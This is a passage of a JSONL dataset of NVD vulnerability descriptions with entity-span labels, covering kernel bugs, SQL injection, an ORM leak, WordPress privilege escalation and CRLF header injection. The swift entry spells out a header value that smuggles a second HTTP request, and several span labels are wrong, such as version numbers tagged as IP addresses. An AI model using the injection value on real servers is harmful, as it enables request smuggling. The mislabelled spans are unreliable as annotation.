"IP_ADDRESS: 2.6.1.38": [[1409, 1417], [1455, 1463], [1478, 1486]], "IP_ADDRESS: 2.6.1.44": [[1501, 1509], [1524, 1532], [1547, 1555], [1570, 1578], [1593, 1601], [1616, 1624]], "IP_ADDRESS: 1.2.0.72": [[1639, 1647], [1664, 1672], [1689, 1697], [1712, 1720], [1735, 1743], [1758, 1766], [1781, 1789], [1805, 1813], [1829, 1837], [1853, 1861]], "IP_ADDRESS: 1.0.2.74": [[1876, 1884]], "IP_ADDRESS: 1.0.5.24": [[1899, 1907], [1922, 1930]], "IP_ADDRESS: 1.0.1.136": [[1946, 1955]], "IP_ADDRESS: 2.3.2.66": [[1970, 1978], [1993, 2001]], "IP_ADDRESS: 1.0.1.34": [[2016, 2024]], "IP_ADDRESS: 1.0.3.50": [[2043, 2051]], "VULNERABILITY: buffer overflow": [[42, 57]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29068"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_list_accounts.php. When parsing the type parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose information in the context of root. Was ZDI-CAN-9723.", "spans": {"IP_ADDRESS: 0.9.8.923": [[131, 140]], "FILEPATH: ajax_list_accounts.php": [[236, 258]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15619"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/rtas: use correct function name for resetting TCE tables\n\nThe PAPR spec spells the function name as\n\n  \"ibm,reset-pe-dma-windows\"\n\nbut in practice firmware uses the singular form:\n\n  \"ibm,reset-pe-dma-window\"\n\nin the device tree. Since we have the wrong spelling in the RTAS\nfunction table, reverse lookups (token -> name) fail and warn:\n\n  unexpected failed lookup for token 86\n  WARNING: CPU: 1 PID: 545 at arch/powerpc/kernel/rtas.c:659 __do_enter_rtas_trace+0x2a4/0x2b4\n  CPU: 1 PID: 545 Comm: systemd-udevd Not tainted 6.8.0-rc4 #30\n  Hardware name: IBM,9105-22A POWER10 (raw) 0x800200 0xf000006 of:IBM,FW1060.00 (NL1060_028) hv:phyp pSeries\n  NIP [c0000000000417f0] __do_enter_rtas_trace+0x2a4/0x2b4\n  LR [c0000000000417ec] __do_enter_rtas_trace+0x2a0/0x2b4\n  Call Trace:\n   __do_enter_rtas_trace+0x2a0/0x2b4 (unreliable)\n   rtas_call+0x1f8/0x3e0\n   enable_ddw.constprop.0+0x4d0/0xc84\n   dma_iommu_dma_supported+0xe8/0x24c\n   dma_set_mask+0x5c/0xd8\n   mlx5_pci_init.constprop.0+0xf0/0x46c [mlx5_core]\n   probe_one+0xfc/0x32c [mlx5_core]\n   local_pci_probe+0x68/0x12c\n   pci_call_probe+0x68/0x1ec\n   pci_device_probe+0xbc/0x1a8\n   really_probe+0x104/0x570\n   __driver_probe_device+0xb8/0x224\n   driver_probe_device+0x54/0x130\n   __driver_attach+0x158/0x2b0\n   bus_for_each_dev+0xa8/0x120\n   driver_attach+0x34/0x48\n   bus_add_driver+0x174/0x304\n   driver_register+0x8c/0x1c4\n   __pci_register_driver+0x68/0x7c\n   mlx5_init+0xb8/0x118 [mlx5_core]\n   do_one_initcall+0x60/0x388\n   do_init_module+0x7c/0x2a4\n   init_module_from_file+0xb4/0x108\n   idempotent_init_module+0x184/0x34c\n   sys_finit_module+0x90/0x114\n\nAnd oopses are possible when lockdep is enabled or the RTAS\ntracepoints are active, since those paths dereference the result of\nthe lookup.\n\nUse the correct spelling to match firmware's behavior, adjusting the\nrelated constants to match.", "spans": {"FILEPATH: /powerpc/kernel/rtas.c": [[490, 512]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[575, 582]], "ORGANIZATION: IBM": [[632, 635], [681, 684]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26847"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: remove unnecessary WARN_ON() in implement()\n\nSyzkaller hit a warning [1] in a call to implement() when trying\nto write a value into a field of smaller size in an output report.\n\nSince implement() already has a warn message printed out with the\nhelp of hid_warn() and value in question gets trimmed with:\n\t...\n\tvalue &= m;\n\t...\nWARN_ON may be considered superfluous. Remove it to suppress future\nsyzkaller triggers.\n\n[1]\nWARNING: CPU: 0 PID: 5084 at drivers/hid/hid-core.c:1451 implement drivers/hid/hid-core.c:1451 [inline]\nWARNING: CPU: 0 PID: 5084 at drivers/hid/hid-core.c:1451 hid_output_report+0x548/0x760 drivers/hid/hid-core.c:1863\nModules linked in:\nCPU: 0 PID: 5084 Comm: syz-executor424 Not tainted 6.9.0-rc7-syzkaller-00183-gcf87f46fd34d #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\nRIP: 0010:implement drivers/hid/hid-core.c:1451 [inline]\nRIP: 0010:hid_output_report+0x548/0x760 drivers/hid/hid-core.c:1863\n...\nCall Trace:\n <TASK>\n __usbhid_submit_report drivers/hid/usbhid/hid-core.c:591 [inline]\n usbhid_submit_report+0x43d/0x9e0 drivers/hid/usbhid/hid-core.c:636\n hiddev_ioctl+0x138b/0x1f00 drivers/hid/usbhid/hiddev.c:726\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:904 [inline]\n __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:890\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n...", "spans": {"FILEPATH: /hid/hid-core.c": [[536, 551], [574, 589], [640, 655], [698, 713], [949, 964], [1026, 1041]], "FILEPATH: /02/2024": [[913, 921]], "FILEPATH: /hid/usbhid/hid-core.c": [[1102, 1124], [1179, 1201]], "FILEPATH: /hid/usbhid/hiddev.c": [[1241, 1261]], "FILEPATH: /x86/entry/common.c": [[1402, 1421], [1464, 1483]], "FILEPATH: ioctl.c": [[1280, 1287], [1319, 1326], [1370, 1377]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[847, 853], [854, 860], [876, 882], [904, 910]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39509"}}
{"text": "A program using FoundationNetworking in swift-corelibs-foundation is potentially vulnerable to CRLF ( ) injection in URLRequest headers. In this vulnerability, a client can insert one or several CRLF sequences into a URLRequest header value. When that request is sent via URLSession to an HTTP server, the server may interpret the content after the CRLF as extra headers, or even a second request. For example, consider a URLRequest to http://example.com/ with the GET method. Suppose we set the URLRequest header \"Foo\" to the value \"Bar Extra-Header: Added GET /other HTTP/1.1\". When this request is sent, it will appear to the server as two requests: GET / HTTP/1.1 Foo: Bar Extra-Header: Added GET /other HTTP/1.1 In this manner, the client is able to inject extra headers and craft an entirely new request to a separate path, despite only making one API call in URLSession. If a developer has total control over the request and its headers, this vulnerability may not pose a threat. However, this vulnerability escalates if un-sanitized user input is placed in header values. If so, a malicious user could inject new headers or requests to an intermediary or backend server. Developers should be especially careful to sanitize user input in this case, or upgrade their version of swift-corelibs-foundation to include the patch below.", "spans": {"URL: http://example.com/": [[436, 455]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-3918"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mwifiex: discard erroneous disassoc frames on STA interface\n\nWhen operating in concurrent STA/AP mode with host MLME enabled,\nthe firmware incorrectly sends disassociation frames to the STA\ninterface when clients disconnect from the AP interface.\nThis causes kernel warnings as the STA interface processes\ndisconnect events that don't apply to it:\n\n[ 1303.240540] WARNING: CPU: 0 PID: 513 at net/wireless/mlme.c:141 cfg80211_process_disassoc+0x78/0xec [cfg80211]\n[ 1303.250861] Modules linked in: 8021q garp stp mrp llc rfcomm bnep btnxpuart nls_iso8859_1 nls_cp437 onboard_us\n[ 1303.327651] CPU: 0 UID: 0 PID: 513 Comm: kworker/u9:2 Not tainted 6.16.0-rc1+ #3 PREEMPT\n[ 1303.335937] Hardware name: Toradex Verdin AM62 WB on Verdin Development Board (DT)\n[ 1303.343588] Workqueue: MWIFIEX_RX_WORK_QUEUE mwifiex_rx_work_queue [mwifiex]\n[ 1303.350856] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[ 1303.357904] pc : cfg80211_process_disassoc+0x78/0xec [cfg80211]\n[ 1303.364065] lr : cfg80211_process_disassoc+0x70/0xec [cfg80211]\n[ 1303.370221] sp : ffff800083053be0\n[ 1303.373590] x29: ffff800083053be0 x28: 0000000000000000 x27: 0000000000000000\n[ 1303.380855] x26: 0000000000000000 x25: 00000000ffffffff x24: ffff000002c5b8ae\n[ 1303.388120] x23: ffff000002c5b884 x22: 0000000000000001 x21: 0000000000000008\n[ 1303.395382] x20: ffff000002c5b8ae x19: ffff0000064dd408 x18: 0000000000000006\n[ 1303.402646] x17: 3a36333a61623a30 x16: 32206d6f72662063 x15: ffff800080bfe048\n[ 1303.409910] x14: ffff000003625300 x13: 0000000000000001 x12: 0000000000000000\n[ 1303.417173] x11: 0000000000000002 x10: ffff000003958600 x9 : ffff000003625300\n[ 1303.424434] x8 : ffff00003fd9ef40 x7 : ffff0000039fc280 x6 : 0000000000000002\n[ 1303.431695] x5 : ffff0000038976d4 x4 : 0000000000000000 x3 : 0000000000003186\n[ 1303.438956] x2 : 000000004836ba20 x1 : 0000000000006986 x0 : 00000000d00479de\n[ 1303.446221] Call trace:\n[ 1303.448722]  cfg80211_process_disassoc+0x78/0xec [cfg80211] (P)\n[ 1303.454894]  cfg80211_rx_mlme_mgmt+0x64/0xf8 [cfg80211]\n[ 1303.460362]  mwifiex_process_mgmt_packet+0x1ec/0x460 [mwifiex]\n[ 1303.466380]  mwifiex_process_sta_rx_packet+0x1bc/0x2a0 [mwifiex]\n[ 1303.472573]  mwifiex_handle_rx_packet+0xb4/0x13c [mwifiex]\n[ 1303.478243]  mwifiex_rx_work_queue+0x158/0x198 [mwifiex]\n[ 1303.483734]  process_one_work+0x14c/0x28c\n[ 1303.487845]  worker_thread+0x2cc/0x3d4\n[ 1303.491680]  kthread+0x12c/0x208\n[ 1303.495014]  ret_from_fork+0x10/0x20\n\nAdd validation in the STA receive path to verify that disassoc/deauth\nframes originate from the connected AP. Frames that fail this check\nare discarded early, preventing them from reaching the MLME layer and\ntriggering WARN_ON().\n\nThis filtering logic is similar with that used in the\nieee80211_rx_mgmt_disassoc() function in mac80211, which drops\ndisassoc frames that don't match the current BSSID\n(!ether_addr_equal(mgmt->bssid, sdata->vif.cfg.ap_addr)), ensuring\nonly relevant frames are processed.\n\nTested on:\n- 8997 with FW 16.68.1.p197", "spans": {"FILEPATH: /wireless/mlme.c": [[470, 486]], "FILEPATH: vif.cfg": [[2981, 2988]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38505"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring: fix shared sqpoll cancellation hangs\n\n[  736.982891] INFO: task iou-sqp-4294:4295 blocked for more than 122 seconds.\n[  736.982897] Call Trace:\n[  736.982901]  schedule+0x68/0xe0\n[  736.982903]  io_uring_cancel_sqpoll+0xdb/0x110\n[  736.982908]  io_sqpoll_cancel_cb+0x24/0x30\n[  736.982911]  io_run_task_work_head+0x28/0x50\n[  736.982913]  io_sq_thread+0x4e3/0x720\n\nWe call io_uring_cancel_sqpoll() one by one for each ctx either in\nsq_thread() itself or via task works, and it's intended to cancel all\nrequests of a specified context. However the function uses per-task\ncounters to track the number of inflight requests, so it counts more\nrequests than available via currect io_uring ctx and goes to sleep for\nthem to appear (e.g. from IRQ), that will never happen.\n\nCancel a bit more than before, i.e. all ctxs that share sqpoll\nand continue to use shared counters. Don't forget that we should not\nremove ctx from the list before running that task_work sqpoll-cancel,\notherwise the function wouldn't be able to find the context and will\nhang.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-46942"}}
{"text": "The DHCPv6 Relay-Agent service, part of the Juniper Enhanced jdhcpd daemon shipped with Juniper Networks Junos OS has an Improper Input Validation vulnerability which will result in a Denial of Service (DoS) condition when a DHCPv6 client sends a specific DHPCv6 message allowing an attacker to potentially perform a Remote Code Execution (RCE) attack on the target device. Continuous receipt of the specific DHCPv6 client message will result in an extended Denial of Service (DoS) condition. If adjacent devices are also configured to relay DHCP packets, and are not affected by this issue and simply transparently forward unprocessed client DHCPv6 messages, then the attack vector can be a Network-based attack, instead of an Adjacent-device attack. No other DHCP services are affected. Receipt of the packet without configuration of the DHCPv6 Relay-Agent service, will not result in exploitability of this issue. This issue affects Juniper Networks Junos OS: 12.3 versions prior to 12.3R12-S15; 12.3X48 versions prior to 12.3X48-D95; 14.1X53 versions prior to 14.1X53-D53; 15.1 versions prior to 15.1R7-S6; 15.1X49 versions prior to 15.1X49-D200; 15.1X53 versions prior to 15.1X53-D593; 16.1 versions prior to 16.1R7-S7; 16.2 versions prior to 16.2R2-S11; 17.1 versions prior to 17.1R2-S11, 17.1R3-S2; 17.2 versions prior to 17.2R3-S3; 17.2X75 versions prior to 17.2X75-D44; 17.3 versions prior to 17.3R3-S7; 17.4 versions prior to 17.4R2-S9, 17.4R3; 18.1 versions prior to 18.1R3-S9; 18.2 versions prior to 18.2R2-S6, 18.2R3-S2; 18.2X75 versions prior to 18.2X75-D12, 18.2X75-D33, 18.2X75-D435, 18.2X75-D60; 18.3 versions prior to 18.3R1-S7, 18.3R2-S3, 18.3R3-S1; 18.4 versions prior to 18.4R1-S5, 18.4R2-S3, 18.4R3; 19.1 versions prior to 19.1R1-S4, 19.1R2; 19.2 versions prior to 19.2R1-S3, 19.2R2; 19.3 versions prior to 19.3R2.", "spans": {"ORGANIZATION: Juniper": [[44, 51], [88, 95], [936, 943]], "VULNERABILITY: Improper Input Validation": [[121, 146]], "VULNERABILITY: Remote Code Execution": [[317, 338]], "VULNERABILITY: Denial of Service": [[184, 201], [458, 475]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1656"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: entry: avoid kprobe recursion\n\nThe cortex_a76_erratum_1463225_debug_handler() function is called when\nhandling debug exceptions (and synchronous exceptions from BRK\ninstructions), and so is called when a probed function executes. If the\ncompiler does not inline cortex_a76_erratum_1463225_debug_handler(), it\ncan be probed.\n\nIf cortex_a76_erratum_1463225_debug_handler() is probed, any debug\nexception or software breakpoint exception will result in recursive\nexceptions leading to a stack overflow. This can be triggered with the\nftrace multiple_probes selftest, and as per the example splat below.\n\nThis is a regression caused by commit:\n\n  6459b8469753e9fe (\"arm64: entry: consolidate Cortex-A76 erratum 1463225 workaround\")\n\n... which removed the NOKPROBE_SYMBOL() annotation associated with the\nfunction.\n\nMy intent was that cortex_a76_erratum_1463225_debug_handler() would be\ninlined into its caller, el1_dbg(), which is marked noinstr and cannot\nbe probed. Mark cortex_a76_erratum_1463225_debug_handler() as\n__always_inline to ensure this.\n\nExample splat prior to this patch (with recursive entries elided):\n\n| # echo p cortex_a76_erratum_1463225_debug_handler > /sys/kernel/debug/tracing/kprobe_events\n| # echo p do_el0_svc >> /sys/kernel/debug/tracing/kprobe_events\n| # echo 1 > /sys/kernel/debug/tracing/events/kprobes/enable\n| Insufficient stack space to handle exception!\n| ESR: 0x0000000096000047 -- DABT (current EL)\n| FAR: 0xffff800009cefff0\n| Task stack:     [0xffff800009cf0000..0xffff800009cf4000]\n| IRQ stack:      [0xffff800008000000..0xffff800008004000]\n| Overflow stack: [0xffff00007fbc00f0..0xffff00007fbc10f0]\n| CPU: 0 PID: 145 Comm: sh Not tainted 6.0.0 #2\n| Hardware name: linux,dummy-virt (DT)\n| pstate: 604003c5 (nZCv DAIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n| pc : arm64_enter_el1_dbg+0x4/0x20\n| lr : el1_dbg+0x24/0x5c\n| sp : ffff800009cf0000\n| x29: ffff800009cf0000 x28: ffff000002c74740 x27: 0000000000000000\n| x26: 0000000000000000 x25: 0000000000000000 x24: 0000000000000000\n| x23: 00000000604003c5 x22: ffff80000801745c x21: 0000aaaac95ac068\n| x20: 00000000f2000004 x19: ffff800009cf0040 x18: 0000000000000000\n| x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n| x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n| x11: 0000000000000010 x10: ffff800008c87190 x9 : ffff800008ca00d0\n| x8 : 000000000000003c x7 : 0000000000000000 x6 : 0000000000000000\n| x5 : 0000000000000000 x4 : 0000000000000000 x3 : 00000000000043a4\n| x2 : 00000000f2000004 x1 : 00000000f2000004 x0 : ffff800009cf0040\n| Kernel panic - not syncing: kernel stack overflow\n| CPU: 0 PID: 145 Comm: sh Not tainted 6.0.0 #2\n| Hardware name: linux,dummy-virt (DT)\n| Call trace:\n|  dump_backtrace+0xe4/0x104\n|  show_stack+0x18/0x4c\n|  dump_stack_lvl+0x64/0x7c\n|  dump_stack+0x18/0x38\n|  panic+0x14c/0x338\n|  test_taint+0x0/0x2c\n|  panic_bad_stack+0x104/0x118\n|  handle_bad_stack+0x34/0x48\n|  __bad_stack+0x78/0x7c\n|  arm64_enter_el1_dbg+0x4/0x20\n|  el1h_64_sync_handler+0x40/0x98\n|  el1h_64_sync+0x64/0x68\n|  cortex_a76_erratum_1463225_debug_handler+0x0/0x34\n...\n|  el1h_64_sync_handler+0x40/0x98\n|  el1h_64_sync+0x64/0x68\n|  cortex_a76_erratum_1463225_debug_handler+0x0/0x34\n...\n|  el1h_64_sync_handler+0x40/0x98\n|  el1h_64_sync+0x64/0x68\n|  cortex_a76_erratum_1463225_debug_handler+0x0/0x34\n|  el1h_64_sync_handler+0x40/0x98\n|  el1h_64_sync+0x64/0x68\n|  do_el0_svc+0x0/0x28\n|  el0t_64_sync_handler+0x84/0xf0\n|  el0t_64_sync+0x18c/0x190\n| Kernel Offset: disabled\n| CPU features: 0x0080,00005021,19001080\n| Memory Limit: none\n| ---[ end Kernel panic - not syncing: kernel stack overflow ]---\n\nWith this patch, cortex_a76_erratum_1463225_debug_handler() is inlined\ninto el1_dbg(), and el1_dbg() cannot be probed:\n\n| # echo p cortex_a76_erratum_1463225_debug_handler > /sys/kernel/debug/tracing/kprobe_events\n| sh: write error: No such file or directory\n| # grep -w cortex_a76_errat\n---truncated---", "spans": {"FILEPATH: /sys/kernel/debug/tracing/kprobe_events": [[1246, 1285], [1311, 1350], [3869, 3908]], "FILEPATH: /sys/kernel/debug/tracing/events/kprobes/enable": [[1364, 1411]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: stack overflow": [[560, 574], [2665, 2679], [3674, 3688]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49888"}}
{"text": "Label Studio is an open source data labeling tool. In all current versions of Label Studio prior to 1.9.2post0, the application allows users to insecurely set filters for filtering tasks. An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes. This vulnerability has been addressed in commit `f931d9d129` which is included in the 1.9.2post0 release. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-47117"}}
{"text": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.16.0), RUGGEDCOM ROX MX5000RE (All versions < V2.16.0), RUGGEDCOM ROX RX1400 (All versions < V2.16.0), RUGGEDCOM ROX RX1500 (All versions < V2.16.0), RUGGEDCOM ROX RX1501 (All versions < V2.16.0), RUGGEDCOM ROX RX1510 (All versions < V2.16.0), RUGGEDCOM ROX RX1511 (All versions < V2.16.0), RUGGEDCOM ROX RX1512 (All versions < V2.16.0), RUGGEDCOM ROX RX1524 (All versions < V2.16.0), RUGGEDCOM ROX RX1536 (All versions < V2.16.0), RUGGEDCOM ROX RX5000 (All versions < V2.16.0). The CLI feature in the web interface of affected devices is vulnerable to \r\ncross-site request forgery (CSRF).\r\n\r\nThis could allow an attacker to read or modify the device configuration\r\nby tricking an authenticated legitimate user into accessing a malicious link.", "spans": {"VULNERABILITY: cross-site request forgery": [[634, 660]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-28398"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock: Ignore signal/timeout on connect() if already established\n\nDuring connect(), acting on a signal/timeout by disconnecting an already\nestablished socket leads to several issues:\n\n1. connect() invoking vsock_transport_cancel_pkt() ->\n   virtio_transport_purge_skbs() may race with sendmsg() invoking\n   virtio_transport_get_credit(). This results in a permanently elevated\n   `vvs->bytes_unsent`. Which, in turn, confuses the SOCK_LINGER handling.\n\n2. connect() resetting a connected socket's state may race with socket\n   being placed in a sockmap. A disconnected socket remaining in a sockmap\n   breaks sockmap's assumptions. And gives rise to WARNs.\n\n3. connect() transitioning SS_CONNECTED -> SS_UNCONNECTED allows for a\n   transport change/drop after TCP_ESTABLISHED. Which poses a problem for\n   any simultaneous sendmsg() or connect() and may result in a\n   use-after-free/null-ptr-deref.\n\nDo not disconnect socket on signal/timeout. Keep the logic for unconnected\nsockets: they don't linger, can't be placed in a sockmap, are rejected by\nsendmsg().\n\n[1]: https://lore.kernel.org/netdev/e07fd95c-9a38-4eea-9638-133e38c2ec9b@rbox.co/\n[2]: https://lore.kernel.org/netdev/20250317-vsock-trans-signal-race-v4-0-fc8837f3f1d4@rbox.co/\n[3]: https://lore.kernel.org/netdev/60f1b7db-3099-4f6a-875e-af9f6ef194f6@rbox.co/", "spans": {"URL: https://lore.kernel.org/netdev/e07fd95c-9a38-4eea-9638-133e38c2ec9b@rbox.co/": [[1136, 1212]], "URL: https://lore.kernel.org/netdev/20250317-vsock-trans-signal-race-v4-0-fc8837f3f1d4@rbox.co/": [[1218, 1308]], "URL: https://lore.kernel.org/netdev/60f1b7db-3099-4f6a-875e-af9f6ef194f6@rbox.co/": [[1314, 1390]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[938, 952]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40248"}}
{"text": "The MStore API plugin for WordPress is vulnerable to  Insecure Direct Object Reference in all versions up to, and including, 4.18.3. This is due to the update_user_profile() function in controllers/flutter-user.php processing the 'meta_data' JSON parameter without any allowlist, blocklist, or validation of meta keys. The function reads raw JSON from php://input (line 1012), decodes it (line 1013), authenticates the user via cookie validation (line 1015), and then directly iterates over the user-supplied meta_data array passing arbitrary keys and values to update_user_meta() (line 1080) with no sanitization or restrictions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify arbitrary user meta fields on their own accounts, including sensitive fields like wp_user_level (to escalate to administrator-level legacy checks), plugin-specific authorization flags (e.g., _wpuf_user_active, aiowps_account_status), and billing/profile fields with unsanitized values (potentially enabling Stored XSS in admin contexts). Note that wp_capabilities cannot be directly exploited this way because it requires a serialized array value, but wp_user_level (a simple integer) and numerous plugin-specific meta keys are exploitable.", "spans": {"FILEPATH: user.php": [[206, 214]], "SYSTEM: WordPress": [[26, 35]], "VULNERABILITY: Stored XSS": [[1040, 1050]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3568"}}
{"text": "A vulnerability has been identified in RUGGEDCOM i800 (All versions), RUGGEDCOM i801 (All versions), RUGGEDCOM i802 (All versions), RUGGEDCOM i803 (All versions), RUGGEDCOM M2100 (All versions), RUGGEDCOM M2200 (All versions), RUGGEDCOM M969 (All versions), RUGGEDCOM RMC30 (All versions), RUGGEDCOM RMC8388 V4.X (All versions), RUGGEDCOM RMC8388 V5.X (All versions < V5.10.0), RUGGEDCOM RP110 (All versions), RUGGEDCOM RS1600 (All versions), RUGGEDCOM RS1600F (All versions), RUGGEDCOM RS1600T (All versions), RUGGEDCOM RS400 (All versions), RUGGEDCOM RS401 (All versions), RUGGEDCOM RS416 (All versions), RUGGEDCOM RS416P (All versions), RUGGEDCOM RS416Pv2 V4.X (All versions), RUGGEDCOM RS416Pv2 V5.X (All versions < V5.10.0), RUGGEDCOM RS416v2 V4.X (All versions), RUGGEDCOM RS416v2 V5.X (All versions < V5.10.0), RUGGEDCOM RS8000 (All versions), RUGGEDCOM RS8000A (All versions), RUGGEDCOM RS8000H (All versions), RUGGEDCOM RS8000T (All versions), RUGGEDCOM RS900 (All versions), RUGGEDCOM RS900 (32M) V4.X (All versions), RUGGEDCOM RS900 (32M) V5.X (All versions < V5.10.0), RUGGEDCOM RS900G (All versions), RUGGEDCOM RS900G (32M) V4.X (All versions), RUGGEDCOM RS900G (32M) V5.X (All versions < V5.10.0), RUGGEDCOM RS900GP (All versions), RUGGEDCOM RS900L (All versions), RUGGEDCOM RS900M-GETS-C01 (All versions), RUGGEDCOM RS900M-GETS-XX (All versions), RUGGEDCOM RS900M-STND-C01 (All versions), RUGGEDCOM RS900M-STND-XX (All versions), RUGGEDCOM RS900W (All versions), RUGGEDCOM RS910 (All versions), RUGGEDCOM RS910L (All versions), RUGGEDCOM RS910W (All versions), RUGGEDCOM RS920L (All versions), RUGGEDCOM RS920W (All versions), RUGGEDCOM RS930L (All versions), RUGGEDCOM RS930W (All versions), RUGGEDCOM RS940G (All versions), RUGGEDCOM RS969 (All versions), RUGGEDCOM RSG2100 (All versions), RUGGEDCOM RSG2100 (32M) V4.X (All versions), RUGGEDCOM RSG2100 (32M) V5.X (All versions < V5.10.0), RUGGEDCOM RSG2100P (All versions), RUGGEDCOM RSG2100P (32M) V4.X (All versions), RUGGEDCOM RSG2100P (32M) V5.X (All versions < V5.10.0), RUGGEDCOM RSG2200 (All versions), RUGGEDCOM RSG2288 V4.X (All versions), RUGGEDCOM RSG2288 V5.X (All versions < V5.10.0), RUGGEDCOM RSG2300 V4.X (All versions), RUGGEDCOM RSG2300 V5.X (All versions < V5.10.0), RUGGEDCOM RSG2300P V4.X (All versions), RUGGEDCOM RSG2300P V5.X (All versions < V5.10.0), RUGGEDCOM RSG2488 V4.X (All versions), RUGGEDCOM RSG2488 V5.X (All versions < V5.10.0), RUGGEDCOM RSG907R (All versions < V5.10.0), RUGGEDCOM RSG908C (All versions < V5.10.0), RUGGEDCOM RSG909R (All versions < V5.10.0), RUGGEDCOM RSG910C (All versions < V5.10.0), RUGGEDCOM RSG920P V4.X (All versions), RUGGEDCOM RSG920P V5.X (All versions < V5.10.0), RUGGEDCOM RSL910 (All versions < V5.10.0), RUGGEDCOM RST2228 (All versions < V5.10.0), RUGGEDCOM RST2228P (All versions < V5.10.0), RUGGEDCOM RST916C (All versions < V5.10.0), RUGGEDCOM RST916P (All versions < V5.10.0). The affected products support insecure cryptographic algorithms. An attacker could leverage these legacy algorithms to achieve a man-in-the-middle attack or impersonate communicating parties.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52236"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/huge_memory: fix dereferencing invalid pmd migration entry\n\nWhen migrating a THP, concurrent access to the PMD migration entry during\na deferred split scan can lead to an invalid address access, as\nillustrated below.  To prevent this invalid access, it is necessary to\ncheck the PMD migration entry and return early.  In this context, there is\nno need to use pmd_to_swp_entry and pfn_swap_entry_to_page to verify the\nequality of the target folio.  Since the PMD migration entry is locked, it\ncannot be served as the target.\n\nMailing list discussion and explanation from Hugh Dickins: \"An anon_vma\nlookup points to a location which may contain the folio of interest, but\nmight instead contain another folio: and weeding out those other folios is\nprecisely what the \"folio != pmd_folio((*pmd)\" check (and the \"risk of\nreplacing the wrong folio\" comment a few lines above it) is for.\"\n\nBUG: unable to handle page fault for address: ffffea60001db008\nCPU: 0 UID: 0 PID: 2199114 Comm: tee Not tainted 6.14.0+ #4 NONE\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nRIP: 0010:split_huge_pmd_locked+0x3b5/0x2b60\nCall Trace:\n<TASK>\ntry_to_migrate_one+0x28c/0x3730\nrmap_walk_anon+0x4f6/0x770\nunmap_folio+0x196/0x1f0\nsplit_huge_page_to_list_to_order+0x9f6/0x1560\ndeferred_split_scan+0xac5/0x12a0\nshrinker_debugfs_scan_write+0x376/0x470\nfull_proxy_write+0x15c/0x220\nvfs_write+0x2fc/0xcb0\nksys_write+0x146/0x250\ndo_syscall_64+0x6a/0x120\nentry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nThe bug is found by syzkaller on an internal kernel, then confirmed on\nupstream.", "spans": {"FILEPATH: /01/2014": [[1165, 1173]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1098, 1102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37958"}}
{"text": "Tensorflow is an Open Source Machine Learning Framework. Under certain scenarios, Grappler component of TensorFlow can trigger a null pointer dereference. There are 2 places where this can occur, for the same malicious alteration of a `SavedModel` file (fixing the first one would trigger the same dereference in the second place). First, during constant folding, the `GraphDef` might not have the required nodes for the binary operation. If a node is missing, the correposning `mul_*child` would be null, and the dereference in the subsequent line would be incorrect. We have a similar issue during `IsIdentityConsumingSwitch`. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.", "spans": {"VULNERABILITY: null pointer dereference": [[129, 153]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23589"}}
